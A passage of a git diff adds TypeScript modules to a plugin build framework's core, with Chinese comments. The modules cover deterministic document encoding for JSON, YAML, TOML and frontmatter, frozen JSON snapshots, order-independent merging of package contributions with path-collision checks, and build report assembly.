+import { snapshotJson } from './json-snapshot.js'; + +/** Frontmatter Document 的唯一结构化 schema。 */ +interface FrontmatterDocumentValue extends JsonObject { + readonly frontmatter: JsonObject; + readonly body: string; +} + +/** @returns JSON object 是否不包含任何字段。 */ +function emptyObject(value: JsonValue): boolean { + return typeof value === 'object' && value !== null && !Array.isArray(value) && Object.keys(value).length === 0; +} + +/** + * 验证 frontmatter codec 的精确根结构。 + * + * @param value 已完成 JSON snapshot 的 Document 值。 + * @returns 只含 frontmatter/body 的可序列化结构。 + */ +function frontmatterValue(value: JsonValue): FrontmatterDocumentValue { + if (typeof value !== 'object' || value === null || Array.isArray(value) + || Object.keys(value).sort().join(',') !== 'body,frontmatter') { + throw new TypeError('Frontmatter Document value must contain exactly frontmatter and body.'); + } + /** 两个固定字段在严格 JSON snapshot 上读取不会执行行为。 */ + const input = value as JsonObject; + if (typeof input.body !== 'string' || typeof input.frontmatter !== 'object' + || input.frontmatter === null || Array.isArray(input.frontmatter)) { + throw new TypeError('Frontmatter Document requires a JSON object frontmatter and string body.'); + } + return input as FrontmatterDocumentValue; +} + +/** + * 判断 omit-if-empty Document 当前是否为空。 + * + * @param document 已验证 Document snapshot。 + * @returns 空 object 或空 frontmatter+body 为 true。 + */ +export function documentIsEmpty(document: PackageDocumentSnapshot): boolean { + if (document.format !== 'frontmatter') + return emptyObject(document.value); + /** Frontmatter 空值要求头部无字段且正文为空。 */ + const value = frontmatterValue(document.value); + return emptyObject(value.frontmatter) && value.body.trim().length === 0; +} + +/** + * 使用 Core 固定 codec 产生确定性 UTF-8 Document 字节。 + * + * @param document 已验证且冻结的 Package Document。 + * @returns 单个尾随换行、无环境信息的稳定字节。 + */ +export function encodePackageDocument(document: PackageDocumentSnapshot): Uint8Array { + /** codec 再次建立 JSON snapshot,防止内部调用方绕过 Package Registry。 */ + const value = snapshotJson(document.value, `Document ${document.id}`); + /** 文本只由选中 codec 的确定性结果赋值一次。 */ + let text: string; + if (document.format === 'json') { + text = `${JSON.stringify(value, null, 2)}\n`; + } else if (document.format === 'yaml') { + text = `${stringifyYaml(value, { lineWidth: 0, aliasDuplicateObjects: false }).trimEnd()}\n`; + } else if (document.format === 'toml') { + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new TypeError('TOML Document root must be a JSON object.'); + try { + text = `${stringifyToml(value as never).trimEnd()}\n`; + } catch { + throw new TypeError('TOML Document contains a value that cannot be represented losslessly.'); + } + } else { + /** Frontmatter 使用稳定 YAML head 和精确修整后的正文。 */ + const input = frontmatterValue(value); + /** YAML header 独立生成后嵌入固定分隔符。 */ + const head = stringifyYaml(input.frontmatter, { lineWidth: 0, aliasDuplicateObjects: false }).trimEnd(); + text = `---\n${head}\n---\n${input.body.trim()}\n`; + } + return new TextEncoder().encode(text); +} diff --git a/packages/core/src/package/json-snapshot.ts b/packages/core/src/package/json-snapshot.ts new file mode 100644 index 0000000..1aff84b --- /dev/null +++ b/packages/core/src/package/json-snapshot.ts @@ -0,0 +1,140 @@ +import type { DocumentFieldPath, JsonObject, JsonValue } from '../kernel-types.js'; +import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; +import { compareCodePoints } from '../kernel/path-policy.js'; + +/** JSON snapshot 递归时携带的路径和祖先集合。 */ +interface SnapshotState { + readonly path: string; + readonly ancestors: Set; +} + +/** + * 复制严格 JSON 值并拒绝 getter、Symbol、稀疏数组和循环。 + * + * @param value Integration 返回的未知值。 + * @param state 当前递归路径与祖先身份。 + * @returns 与调用方容器断开的深度冻结 JSON。 + */ +function snapshot(value: unknown, state: SnapshotState): JsonValue { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new TypeError(`${state.path} must contain only finite JSON numbers.`); + return value; + } + if (typeof value !== 'object') + throw new TypeError(`${state.path} must contain only JSON values.`); + if (state.ancestors.has(value)) + throw new TypeError(`${state.path} must not contain cycles.`); + state.ancestors.add(value); + try { + if (Array.isArray(value)) { + /** 数组先经过统一 data boundary,再递归复制每个元素。 */ + const items = dataArrayItems(value, state.path); + return Object.freeze(items.map((item, index) => snapshot(item, { + ancestors: state.ancestors, + path: `${state.path}[${index}]`, + }))); + } + /** JSON object 允许任意字符串字段,但仍统一拒绝行为型容器。 */ + const ownFields = Object.getOwnPropertyNames(value); + /** 任意字段集合仍通过统一 descriptor boundary。 */ + const fields = dataObjectFields(value, new Set(ownFields), state.path); + /** 新对象不保留调用方 prototype 或 descriptor 可变性。 */ + const result: Record = {}; + for (const field of Object.keys(fields).sort(compareCodePoints)) { + /** 每个 JSON 字段必须是显式 data property。 */ + const descriptor = fields[field]!; + if (!('value' in descriptor)) + throw new TypeError(`${state.path}.${field} must be a data property.`); + Object.defineProperty(result, field, { + value: snapshot(descriptor.value, { ancestors: state.ancestors, path: `${state.path}.${field}` }), + enumerable: true, + configurable: false, + writable: false, + }); + } + return Object.freeze(result); + } finally { + state.ancestors.delete(value); + } +} + +/** + * 建立可进入 Document、Contribution 或报告的严格 JSON snapshot。 + * + * @param value 外部 JSON 候选。 + * @param label 根路径诊断标签。 + * @returns 深度冻结且键序稳定的 JSON。 + */ +export function snapshotJson(value: unknown, label = 'JSON value'): JsonValue { + return snapshot(value, { path: label, ancestors: new Set() }); +} + +/** + * 验证并复制非空 Document 字段路径。 + * + * @param value 未受信任路径。 + * @param label 诊断标签。 + * @returns 不含控制字符且冻结的非空字段 tuple。 + */ +export function snapshotFieldPath(value: unknown, label = 'Document field path'): DocumentFieldPath { + if (!Array.isArray(value) || value.length === 0 + || value.some(segment => typeof segment !== 'string' || segment.length === 0 || /[\0\r\n\t]/u.test(segment))) { + throw new TypeError(`${label} must be a non-empty array of stable field names.`); + } + return Object.freeze([...value]) as unknown as DocumentFieldPath; +} + +/** @returns 字段路径不会因分隔字符内容产生歧义的内部键。 */ +export function documentFieldKey(path: DocumentFieldPath): string { + return JSON.stringify(path); +} + +/** + * 检查字段父链存在且最终字段尚未出现。 + * + * @param value 当前 Document 根值。 + * @param fieldPath 待贡献的精确字段路径。 + * @returns 当前路径是 add-only 空位时为 true。 + */ +export function documentFieldAvailable(value: JsonValue, fieldPath: DocumentFieldPath): boolean { + /** current 沿既有父链逐段进入。 */ + let current: JsonValue = value; + for (const segment of fieldPath.slice(0, -1)) { + if (current === null || typeof current !== 'object' || Array.isArray(current) || !Object.hasOwn(current, segment)) + return false; + current = (current as JsonObject)[segment]!; + } + if (current === null || typeof current !== 'object' || Array.isArray(current)) + return false; + return !Object.hasOwn(current, fieldPath.at(-1)!); +} + +/** + * 通过逐层复制向不可变 JSON 新增一个精确字段。 + * + * @param value 已证明字段空缺的 Document 值。 + * @param fieldPath 精确字段路径。 + * @param addition 已冻结的新增 JSON。 + * @returns 保持全部原字段且新增目标字段的冻结值。 + */ +export function addDocumentField(value: JsonValue, fieldPath: DocumentFieldPath, addition: JsonValue): JsonValue { + /** 当前层必然是字段父链上的 JSON object。 */ + const object = value as JsonObject; + /** head 是当前层字段,tail 是剩余路径。 */ + const [head, ...tail] = fieldPath; + /** 原字段先映射到新容器,路径字段递归替换为复制结果。 */ + const entries: [string, JsonValue][] = Object.entries(object).map(([field, child]) => [ + field, + field === head && tail.length > 0 ? addDocumentField(child, tail as unknown as DocumentFieldPath, addition) : child, + ]); + if (tail.length === 0) + entries.push([head, addition]); + /** 每层对象重新按 code point 排序并定义只读 data property。 */ + const result: Record = {}; + for (const [field, child] of entries.sort(([left], [right]) => compareCodePoints(left, right))) + Object.defineProperty(result, field, { value: child, enumerable: true, configurable: false, writable: false }); + return Object.freeze(result); +} diff --git a/packages/core/src/package/package-registry.ts b/packages/core/src/package/package-registry.ts new file mode 100644 index 0000000..e3e0682 --- /dev/null +++ b/packages/core/src/package/package-registry.ts @@ -0,0 +1,430 @@ +import type { + AssetRef, + CompatibilityInput, + DocumentFieldPath, + MetadataDispositionInput, + MergedPackageSnapshot, + PackageAssetInput, + PackageAssetSnapshot, + PackageContribution, + PackageDocumentInput, + PackageDocumentSnapshot, + PackageUnitSnapshot, + PlatformBasePackageSnapshot, + PlatformDeliveryType, + PlatformPackageInput, + PrimaryPackageInput, +} from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; +import { snapshotCompatibility, snapshotMetadata } from './compatibility-registry.js'; +import { documentIsEmpty, encodePackageDocument } from './document-codec.js'; +import { + addDocumentField, + documentFieldAvailable, + documentFieldKey, + snapshotFieldPath, + snapshotJson, +} from './json-snapshot.js'; + +/** Package、Document 与 Unit ID 共用的稳定标识规则。 */ +const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** 无序 Contribution 的 owner-bound 内部输入。 */ +export interface OwnedPackageContribution { + readonly owner: string; + readonly contribution: PackageContribution; + readonly subjects?: readonly { readonly subject: string; readonly capabilities: readonly string[] }[]; +} + +/** + * 验证对象仅含允许的 data fields。 + * + * @param value 未受信任对象。 + * @param allowed 精确字段集合。 + * @param label 诊断标签。 + * @returns 不执行 getter 的字段描述符。 + */ +function fields(value: unknown, allowed: ReadonlySet, label: string): Record { + return dataObjectFields(value, allowed, label); +} + +/** @returns 未知文本是否为规范 package/document ID。 */ +function stableId(value: unknown, label: string): string { + if (typeof value !== 'string' || !STABLE_ID.test(value)) + throw new TypeError(`${label} must use lowercase kebab-case.`); + return value; +} + +/** + * 在单个 Package namespace 内登记路径并拒绝 exact/case/NFC 碰撞。 + * + * @param paths 已占用 collision key 到原始路径。 + * @param value 新路径候选。 + * @param label 路径角色。 + * @returns 验证后的 package-relative POSIX 路径。 + */ +function reservePath(paths: Map, value: unknown, label: string): string { + /** 首先规范化并验证 package-relative POSIX path。 */ + const safe = safeRelativePath(value); + /** collision key 同时折叠大小写与 Unicode 规范化。 */ + const key = sourceCollisionKey(safe); + /** 已占用的原始路径用于稳定冲突诊断。 */ + const existing = paths.get(key); + if (existing !== undefined) + throw new TypeError(`${label} path "${safe}" collides with "${existing}".`); + /** 文件路径不能同时充当另一个文件的祖先目录。 */ + for (const [reservedKey, reservedPath] of paths) { + if (key.startsWith(`${reservedKey}/`) || reservedKey.startsWith(`${key}/`)) + throw new TypeError(`${label} path "${safe}" has a file/directory conflict with "${reservedPath}".`); + } + paths.set(key, safe); + return safe; +} + +/** + * 复制并验证 Document extension points。 + * + * @param value Document 当前值。 + * @param input 未受信任 paths。 + * @returns 唯一、排序且全部指向当前空位的 paths。 + */ +function extensionPoints(value: import('../kernel-types.js').JsonValue, input: unknown): readonly DocumentFieldPath[] { + /** extensionPoints 也必须越过稠密 data array 边界。 */ + const items = dataArrayItems(input, 'Document extensionPoints'); + /** path key 到精确 tuple,用于拒绝重复声明。 */ + const paths = new Map(); + for (const [index, candidate] of items.entries()) { + /** 每条 path 复制为非空字段 tuple。 */ + const path = snapshotFieldPath(candidate, `Document extensionPoints[${index}]`); + /** JSON tuple key 避免字段名中的分隔符产生歧义。 */ + const key = documentFieldKey(path); + if (paths.has(key)) + throw new TypeError(`Document extension point ${key} is duplicated.`); + if (!documentFieldAvailable(value, path)) + throw new TypeError(`Document extension point ${key} must target an exact empty field.`); + paths.set(key, path); + } + return Object.freeze([...paths.values()].sort((left, right) => compareCodePoints(documentFieldKey(left), documentFieldKey(right)))); +} + +/** + * 复制一个 Platform base Document。 + * + * @param input Platform 返回的结构化 Document。 + * @param paths 与 base Asset 共享的输出路径索引。 + * @returns 冻结且可安全交给全部 Contributor 的 Document。 + */ +function documentSnapshot(input: PackageDocumentInput, paths: Map): PackageDocumentSnapshot { + /** Document 顶层只允许规范字段。 */ + const descriptor = fields(input, new Set(['id', 'path', 'format', 'value', 'emission', 'extensionPoints']), 'Package Document'); + /** Document ID 与路径分别建立逻辑和物理身份。 */ + const id = stableId(descriptor.id?.value, 'Document id'); + /** Document path 立即进入共享 Package collision domain。 */ + const documentPath = reservePath(paths, descriptor.path?.value, `Document "${id}"`); + /** format 决定后续唯一 Core codec。 */ + const format = descriptor.format?.value; + if (format !== 'json' && format !== 'yaml' && format !== 'toml' && format !== 'frontmatter') + throw new TypeError(`Document "${id}" format is invalid.`); + /** value 立即复制为不可变严格 JSON。 */ + const value = snapshotJson(descriptor.value?.value, `Document ${id}`); + /** 未声明 emission 时 Document 必须生成。 */ + const emission = descriptor.emission?.value ?? 'required'; + if (emission !== 'required' && emission !== 'omit-if-empty') + throw new TypeError(`Document "${id}" emission is invalid.`); + /** 完整 snapshot 是 Contributor 唯一可见的 Document 形态。 */ + const snapshot = Object.freeze({ + id, + path: documentPath, + format, + value, + emission, + extensionPoints: extensionPoints(value, descriptor.extensionPoints?.value), + }); + /** codec 可表达性属于 base Package 边界,不能推迟到 finalization。 */ + encodePackageDocument(snapshot); + return snapshot; +} + +/** + * 复制一条 owner-authorized Package Asset mapping。 + * + * @param owner 当前 Platform、Extension 或 Framework owner。 + * @param input 未受信任 path/ref mapping。 + * @param assets 当前 BuildSession Asset Registry。 + * @param paths 当前 Package 路径索引。 + * @returns 保留真实 issuer owner 的冻结 snapshot。 + */ +function assetSnapshot( + owner: string, + input: PackageAssetInput, + assets: AssetRegistry, + paths: Map, +): PackageAssetSnapshot { + /** Asset mapping 只允许 package path 和不透明 ref。 */ + const descriptor = fields(input, new Set(['path', 'asset']), 'Package Asset'); + /** Package path 在读取 Asset metadata 前先完成冲突检查。 */ + const assetPath = reservePath(paths, descriptor.path?.value, 'Asset'); + /** describe 同时验证 ref identity、owner grant 与 BuildSession。 */ + const asset = descriptor.asset?.value as AssetRef; + /** record owner 是真实 issuer,不能由 Package owner 覆盖。 */ + const record = assets.describe(owner, asset); + return Object.freeze({ path: assetPath, owner: record.owner, asset }); +} + +/** + * 从 Platform createPackage 输出建立 immutable base Package。 + * + * @param platform 当前 Platform ID。 + * @param input createPackage 原始输出。 + * @param assets 当前 Session Asset Registry。 + * @returns 所有 Contributor 共享的唯一 frozen base snapshot。 + */ +export function createBasePackage( + platform: string, + input: PlatformPackageInput, + assets: AssetRegistry, +): PlatformBasePackageSnapshot { + /** Platform Package 顶层字段在任何数组元素执行前完成检查。 */ + const descriptor = fields(input, new Set(['documents', 'assets', 'compatibility', 'metadata']), 'Platform Package'); + /** 四组输入分别建立稠密数组边界。 */ + const documentInputs = dataArrayItems(descriptor.documents?.value, 'Platform Package documents') as readonly PackageDocumentInput[]; + /** Asset 输入不能通过自定义数组属性携带隐藏语义。 */ + const assetInputs = dataArrayItems(descriptor.assets?.value, 'Platform Package assets') as readonly PackageAssetInput[]; + /** compatibility 输入复制由专用 snapshot 完成。 */ + const compatibilityInputs = dataArrayItems(descriptor.compatibility?.value, 'Platform Package compatibility') as readonly CompatibilityInput[]; + /** metadata 输入复制由专用 snapshot 完成。 */ + const metadataInputs = dataArrayItems(descriptor.metadata?.value, 'Platform Package metadata') as readonly MetadataDispositionInput[]; + /** Platform owner 由调用上下文绑定。 */ + const owner = `platform:${stableId(platform, 'Platform id')}`; + /** Document 和 Asset 共享同一个 package path collision domain。 */ + const paths = new Map(); + /** Document map 顺序不进入最终 snapshot。 */ + const documents = documentInputs.map(document => documentSnapshot(document, paths)); + if (new Set(documents.map(document => document.id)).size !== documents.length) + throw new TypeError('Platform Package contains duplicate Document ids.'); + /** Base Assets 逐条校验 issuer/grant 并保留真实 owner。 */ + const mappedAssets = assetInputs.map((asset) => { + /** Platform Package 消费的外部 issuer ref 显式获得后续继承授权。 */ + const snapshot = assetSnapshot(owner, asset, assets, paths); + assets.grant(snapshot.owner, owner, snapshot.asset); + return snapshot; + }); + /** compatibility/metadata 在进入 base snapshot 时完成结构化验证但不绑定最终 report array。 */ + const compatibility = compatibilityInputs + .map((entry) => { + /** base snapshot 不重复保留当前已知 Platform ID。 */ + const { platform: _platform, ...snapshot } = snapshotCompatibility(platform, entry); + return Object.freeze(snapshot); + }); + /** metadata 使用与 compatibility 相同的去 Platform 身份 snapshot。 */ + const metadata = metadataInputs + .map((entry) => { + /** base snapshot 不重复保留当前已知 Platform ID。 */ + const { platform: _platform, ...snapshot } = snapshotMetadata(platform, entry); + return Object.freeze(snapshot); + }); + return Object.freeze({ + documents: Object.freeze(documents.sort((left, right) => compareCodePoints(left.id, right.id))), + assets: Object.freeze(mappedAssets.sort((left, right) => compareCodePoints(left.path, right.path))), + compatibility: Object.freeze(compatibility.sort((left, right) => compareCodePoints(left.subject, right.subject) + || compareCodePoints(left.capability, right.capability))), + metadata: Object.freeze(metadata.sort((left, right) => compareCodePoints(left.field, right.field))), + }); +} + +/** + * 校验 Contribution 对 validated subjects 的精确 compatibility 覆盖。 + * + * @param owner Contribution owner。 + * @param compatibility 已验证输入。 + * @param subjects Extension validate 声明的覆盖合同。 + */ +function validateSubjectCoverage( + owner: string, + compatibility: readonly CompatibilityInput[], + subjects: OwnedPackageContribution['subjects'], +): void { + if (subjects === undefined) + return; + /** 实际 tuple 集必须至少精确覆盖每个声明 tuple 一次。 */ + const actual = new Set(compatibility.map(entry => `${entry.subject}#${entry.capability}`)); + if (actual.size !== compatibility.length) + throw new TypeError(`Contribution "${owner}" contains duplicate compatibility tuples.`); + for (const subject of subjects) { + for (const capability of subject.capabilities) { + /** validate 声明的 tuple 必须由 Contribution 精确覆盖。 */ + const key = `${subject.subject}#${capability}`; + if (!actual.has(key)) + throw new TypeError(`Contribution "${owner}" does not cover "${key}".`); + } + } +} + +/** + * 集中、无序地合并 Framework/Extension Contributions。 + * + * @param platform 当前 Platform ID。 + * @param base 所有 Contributor 读取的同一 base snapshot。 + * @param contributions 任意配置或完成顺序的 owner-bound outputs。 + * @param assets 当前 Session Asset Registry。 + * @returns 与输入顺序无关的 immutable merged Package。 + */ +export function mergePackageContributions( + platform: string, + base: PlatformBasePackageSnapshot, + contributions: readonly OwnedPackageContribution[], + assets: AssetRegistry, +): MergedPackageSnapshot { + stableId(platform, 'Platform id'); + /** owner 排序发生在任何 merge 前,确保错误与结果不受 completion order 影响。 */ + const ordered = [...contributions].sort((left, right) => compareCodePoints(left.owner, right.owner)); + if (new Set(ordered.map(item => item.owner)).size !== ordered.length) + throw new TypeError('A Package can receive at most one Contribution from each owner.'); + /** base 路径与扩展点先投影到可变的 Core 私有合并状态。 */ + const paths = new Map(); + for (const document of base.documents) + reservePath(paths, document.path, `Document "${document.id}"`); + for (const asset of base.assets) + reservePath(paths, asset.path, 'Base Asset'); + /** Document ID 索引承载逐层 copy-on-write 的合并结果。 */ + const documents = new Map(base.documents.map(document => [document.id, document])); + /** exact extension point 索引拒绝模糊或深合并语义。 */ + const points = new Map(); + for (const document of base.documents) { + for (const point of document.extensionPoints) + points.set(`${document.id}:${documentFieldKey(point)}`, Object.freeze({ document: document.id, path: point })); + } + /** claims 防止两个 owner 同时占用相同 exact extension point。 */ + const claims = new Map(); + /** Base Asset 已自动继承进入集中合并集合。 */ + const mappedAssets: PackageAssetSnapshot[] = [...base.assets]; + /** Base compatibility 与 Contribution tuple 共享碰撞域。 */ + const compatibility: CompatibilityInput[] = [...base.compatibility]; + for (const item of ordered) { + /** 单个 Contribution 只允许三组 add-only 输入。 */ + const descriptor = fields(item.contribution, new Set(['documentFields', 'assets', 'compatibility']), `Contribution "${item.owner}"`); + /** 缺省 documentFields 等价于空 add-only 集合。 */ + const rawFields = dataArrayItems(descriptor.documentFields?.value ?? [], `Contribution "${item.owner}" documentFields`); + /** 缺省 assets 等价于空 add-only 集合。 */ + const rawAssets = dataArrayItems(descriptor.assets?.value ?? [], `Contribution "${item.owner}" assets`); + /** compatibility 是必填覆盖合同,不能缺省。 */ + const rawCompatibility = dataArrayItems(descriptor.compatibility?.value, `Contribution "${item.owner}" compatibility`); + /** Compatibility 完成 snapshot 后再执行 subject coverage。 */ + const contributionCompatibility = (rawCompatibility as readonly CompatibilityInput[]).map((entry) => { + /** merged snapshot 不重复保留当前已知 Platform ID。 */ + const { platform: _platform, ...snapshot } = snapshotCompatibility(platform, entry); + return Object.freeze(snapshot); + }); + validateSubjectCoverage(item.owner, contributionCompatibility, item.subjects); + compatibility.push(...contributionCompatibility); + for (const [index, raw] of [...rawFields].entries()) { + /** 单个字段贡献只能声明 document/path/value。 */ + const field = fields(raw, new Set(['document', 'path', 'value']), `Contribution "${item.owner}" documentFields[${index}]`); + /** Document ID 必须命中 base 声明。 */ + const document = stableId(field.document?.value, 'Contribution Document id'); + /** 精确字段 tuple 与 base extension point 使用同一规范。 */ + const path = snapshotFieldPath(field.path?.value, 'Contribution Document field path'); + /** 合成无歧义 extension point lookup key。 */ + const key = `${document}:${documentFieldKey(path)}`; + /** point 缺失表示 Platform 未公开该写入位置。 */ + const point = points.get(key); + if (point === undefined) + throw new TypeError(`Contribution "${item.owner}" targets undeclared extension point ${key}.`); + /** claim owner 用于检测两个无序 Contributor 的竞争。 */ + const existingOwner = claims.get(key); + if (existingOwner !== undefined) + throw new TypeError(`Document extension point ${key} is claimed by both ${existingOwner} and ${item.owner}.`); + /** current 始终是前一次 copy-on-write 的 frozen snapshot。 */ + const current = documents.get(document)!; + /** addition 必须先复制成严格 JSON。 */ + const addition = snapshotJson(field.value?.value, `Contribution ${item.owner} field ${key}`); + documents.set(document, Object.freeze({ ...current, value: addDocumentField(current.value, path, addition) })); + claims.set(key, item.owner); + } + for (const asset of rawAssets as readonly PackageAssetInput[]) { + /** Contribution 校验使用 contributor owner,随后授权目标 Platform 继承。 */ + const snapshot = assetSnapshot(item.owner, asset, assets, paths); + assets.grant(snapshot.owner, `platform:${platform}`, snapshot.asset); + mappedAssets.push(snapshot); + } + } + /** duplicate compatibility tuple 不能由后写覆盖。 */ + const tuples = compatibility.map(entry => `${entry.subject}#${entry.capability}`); + if (new Set(tuples).size !== tuples.length) + throw new TypeError('Merged Package contains duplicate compatibility tuples.'); + return Object.freeze({ + documents: Object.freeze([...documents.values()].sort((left, right) => compareCodePoints(left.id, right.id))), + assets: Object.freeze(mappedAssets.sort((left, right) => compareCodePoints(left.path, right.path))), + compatibility: Object.freeze(compatibility.sort((left, right) => compareCodePoints(left.subject, right.subject) + || compareCodePoints(left.capability, right.capability))), + metadata: base.metadata, + }); +} + +/** + * 建立自动继承全部 Package 内容的 primary Unit snapshot。 + * + * @param platform 当前 Platform ID。 + * @param deliveryType Platform definition 的交付类型。 + * @param merged 集中合并后的 Package snapshot。 + * @param input finalizePackage 返回值。 + * @param assets 当前 Session Asset Registry。 + * @returns 包含继承、finalize 与 Document bytes 的完整 primary Unit。 + */ +export async function finalizePrimaryPackage( + platform: string, + deliveryType: PlatformDeliveryType, + merged: MergedPackageSnapshot, + input: PrimaryPackageInput, + assets: AssetRegistry, +): Promise { + /** finalize 输出仍必须越过精确 data-object boundary。 */ + const descriptor = fields(input, new Set(['id', 'type', 'assets']), 'Primary Package'); + /** Unit ID 是最终 transaction 根身份。 */ + const id = stableId(descriptor.id?.value, 'Primary Package id'); + if (descriptor.type?.value !== deliveryType) + throw new TypeError(`Primary Package type must equal Platform delivery type "${deliveryType}".`); + /** Platform owner 绑定 finalize 新增 Asset 的签发者。 */ + const owner = `platform:${stableId(platform, 'Platform id')}`; + /** primary 重新建立全量路径闭包。 */ + const paths = new Map(); + /** merged Assets 自动继承,Platform 没有可遗漏的选择入口。 */ + const result: PackageAssetSnapshot[] = []; + for (const inherited of merged.assets) { + reservePath(paths, inherited.path, 'Inherited Asset'); + result.push(inherited); + } + /** finalize 可选新增 Asset 也必须使用稠密数组。 */ + const additions = dataArrayItems(descriptor.assets?.value ?? [], 'Primary Package assets'); + for (const addition of additions as readonly PackageAssetInput[]) { + /** Platform addition 先验证 ref grant 与路径碰撞。 */ + const snapshot = assetSnapshot(owner, addition, assets, paths); + if (snapshot.owner !== owner) + throw new TypeError('Primary Package additions must be issued by the current Platform.'); + result.push(snapshot); + } + /** Core codec 产生的 bytes 使用 Platform owner 和结构化 Document provenance。 */ + for (const document of merged.documents) { + if (document.emission === 'omit-if-empty' && documentIsEmpty(document)) + continue; + /** emitted Document 与所有继承 Asset 共用路径闭包。 */ + const path = reservePath(paths, document.path, `Document "${document.id}"`); + /** Core codec bytes 使用结构化 document provenance 签发。 */ + const asset = await assets.service(owner).fromBytes({ + bytes: encodePackageDocument(document), + origin: { operation: 'package-document', subjects: [`document:${document.id}`] }, + }); + result.push(Object.freeze({ path, owner, asset })); + } + return Object.freeze({ + platform, + id, + type: deliveryType, + role: 'primary', + assets: Object.freeze(result.sort((left, right) => compareCodePoints(left.path, right.path))), + compatibility: merged.compatibility, + metadata: merged.metadata, + }); +} diff --git a/packages/core/src/package/report-builder.ts b/packages/core/src/package/report-builder.ts new file mode 100644 index 0000000..271c8ce --- /dev/null +++ b/packages/core/src/package/report-builder.ts @@ -0,0 +1,152 @@ +import type { + BuildReport, + CompatibilityEntry, + ComponentReport, + Diagnostic, + ExtensionReport, + MetadataDispositionEntry, + PackageAssetReport, + PackageUnitReport, + PackageUnitSnapshot, + PlatformReport, + RuntimeReport, +} from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import { compareCodePoints } from '../kernel/path-policy.js'; +import { snapshotJson } from './json-snapshot.js'; + +/** Schema v2 BuildReport 的完整内部输入。 */ +export interface BuildReportInput { + readonly frameworkVersion: string; + readonly compilerVersion: string; + readonly success: boolean; + readonly command: BuildReport['command']; + readonly mode: BuildReport['mode']; + readonly committed: boolean; + readonly components: readonly ComponentReport[]; + readonly runtimes: readonly RuntimeReport[]; + readonly extensions: readonly ExtensionReport[]; + readonly platforms: readonly PlatformReport[]; + readonly packages: readonly PackageUnitSnapshot[]; + readonly validatedPackages?: readonly string[]; + readonly compatibility: readonly CompatibilityEntry[]; + readonly metadata: readonly MetadataDispositionEntry[]; + readonly diagnostics: readonly Diagnostic[]; + readonly assets: AssetRegistry; +} + +/** @returns Package Unit 的无歧义 report key。 */ +function packageKey(unit: Pick): string { + return `${unit.platform}/${unit.id}`; +} + +/** + * 把一个受权 Asset snapshot 投影为包含 structured origin 的报告项。 + * + * @param unit 当前 Package Unit。 + * @param asset 当前路径映射。 + * @param registry BuildSession Asset Registry。 + * @returns 不含字节和物理来源的 Asset report。 + */ +function assetReport( + unit: PackageUnitSnapshot, + asset: PackageUnitSnapshot['assets'][number], + registry: AssetRegistry, +): PackageAssetReport { + /** Package 最终映射必须已获得对应 Asset grant。 */ + const record = registry.describe(`platform:${unit.platform}`, asset.asset); + /** origin 也跨越报告数据边界,不能复用 Registry 内部嵌套容器。 */ + return snapshotJson({ + path: asset.path, + owner: record.owner, + mode: record.mode, + size: record.size, + sha256: record.sha256, + origin: record.origin, + }, `Package ${packageKey(unit)} Asset report`) as unknown as PackageAssetReport; +} + +/** + * 复制一组 report JSON record,使排序不会读取调用方 getter 或可变容器。 + * + * @param value Kernel 阶段收集的 report records。 + * @param label 稳定诊断标签。 + * @returns 深度冻结且与输入断开的 records。 + */ +function reportRecords(value: readonly T[], label: string): readonly T[] { + /** report 集合先整体深拷贝,再执行业务键排序。 */ + const snapshot = snapshotJson(value, label); + if (!Array.isArray(snapshot)) + throw new TypeError(`${label} must be an array.`); + return snapshot as unknown as readonly T[]; +} + +/** + * 创建深度冻结、稳定排序的 Schema v2 BuildReport。 + * + * @param input Kernel 完整生命周期已验证的报告输入。 + * @returns 不含 timestamp、绝对路径、bytes 或环境值的报告。 + */ +export function createBuildReport(input: BuildReportInput): BuildReport { + /** validated key 集合来自 candidate 阶段,不从缺失 unit 推测状态。 */ + const validated = new Set(input.validatedPackages ?? []); + /** Package assets 保留 provenance 并按 path/owner 排序。 */ + const packages: PackageUnitReport[] = input.packages.map(unit => Object.freeze({ + platform: unit.platform, + id: unit.id, + type: unit.type, + role: unit.role, + validated: validated.has(packageKey(unit)), + assets: Object.freeze(unit.assets + .map(asset => assetReport(unit, asset, input.assets)) + .sort((left, right) => compareCodePoints(left.path, right.path) || compareCodePoints(left.owner, right.owner))), + })).sort((left, right) => compareCodePoints(left.platform, right.platform) || compareCodePoints(left.id, right.id)); + /** 每个无业务顺序的报告集合使用明确稳定键排序。 */ + const components = [...reportRecords(input.components, 'BuildReport components')] + .sort((left, right) => compareCodePoints(left.kind, right.kind) || compareCodePoints(left.id, right.id)); + /** Runtime report 只按稳定 entry ID 排序。 */ + const runtimes = [...reportRecords(input.runtimes, 'BuildReport runtimes')].sort((left, right) => compareCodePoints(left.id, right.id)); + /** Extension report 只按稳定 Extension ID 排序。 */ + const extensions = [...reportRecords(input.extensions, 'BuildReport extensions')].sort((left, right) => compareCodePoints(left.id, right.id)); + /** Platform report 只按稳定 Platform ID 排序。 */ + const platforms = [...reportRecords(input.platforms, 'BuildReport platforms')].sort((left, right) => compareCodePoints(left.id, right.id)); + /** Compatibility report 使用完整 tuple key 排序。 */ + const compatibility = [...reportRecords(input.compatibility, 'BuildReport compatibility')] + .sort((left, right) => compareCodePoints(left.platform, right.platform) + || compareCodePoints(left.subject, right.subject) || compareCodePoints(left.capability, right.capability)); + /** Metadata report 使用 Platform/field 排序。 */ + const metadata = [...reportRecords(input.metadata, 'BuildReport metadata')] + .sort((left, right) => compareCodePoints(left.platform, right.platform) + || compareCodePoints(left.field, right.field)); + /** DiagnosticRegistry 已排序,报告层仍建立独立深冻副本。 */ + const diagnostics = reportRecords(input.diagnostics, 'BuildReport diagnostics'); + /** 最终整体 snapshot 同时校验 scalar 和 Package report,形成单一深冻边界。 */ + return snapshotJson({ + schemaVersion: 2, + framework: Object.freeze({ name: 'acplugin', version: input.frameworkVersion }), + compiler: Object.freeze({ name: 'rolldown', version: input.compilerVersion }), + success: input.success, + command: input.command, + mode: input.mode, + committed: input.committed, + components: Object.freeze(components), + 